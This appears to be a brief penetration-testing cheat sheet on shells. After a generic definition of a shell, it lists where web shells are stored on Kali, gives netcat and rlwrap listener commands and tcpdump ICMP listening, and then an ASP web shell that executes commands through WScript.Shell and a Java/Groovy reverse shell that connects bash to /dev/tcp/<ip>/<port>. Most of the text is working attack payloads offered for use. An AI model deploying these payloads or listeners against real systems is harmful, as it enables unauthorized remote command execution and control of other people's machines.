In computing, a shell is a user interface for access to an operating system's services. In general, operating system shells use either a command-line interface or graphical user interface, depending on a computer's role and particular operation.
--
General
Webshells in Kali
/usr/share/laudanum
/usr/share/webshells
E.g. /usr/share/webshell/asp/webshell.asp
TTY
See
Listeners
netcat
nc -nlvp <port>
Listening using rlwrap (makes e.g. arrow keys work in shell)
rlwrap nc -lvnp <port>
tcpdump
Listen for incoming icmp messages (like ping)
sudo tcpdump -i tun0 icmp
sudo tcpdump ip proto \\icmp -i tun0
<%
Set rs = CreateObject("WScript.Shell")
Set cmd = rs.Exec("some cmd here")
o = cmd.StdOut.Readall()
Response.write(o)
%>
java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<ip>/<port>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()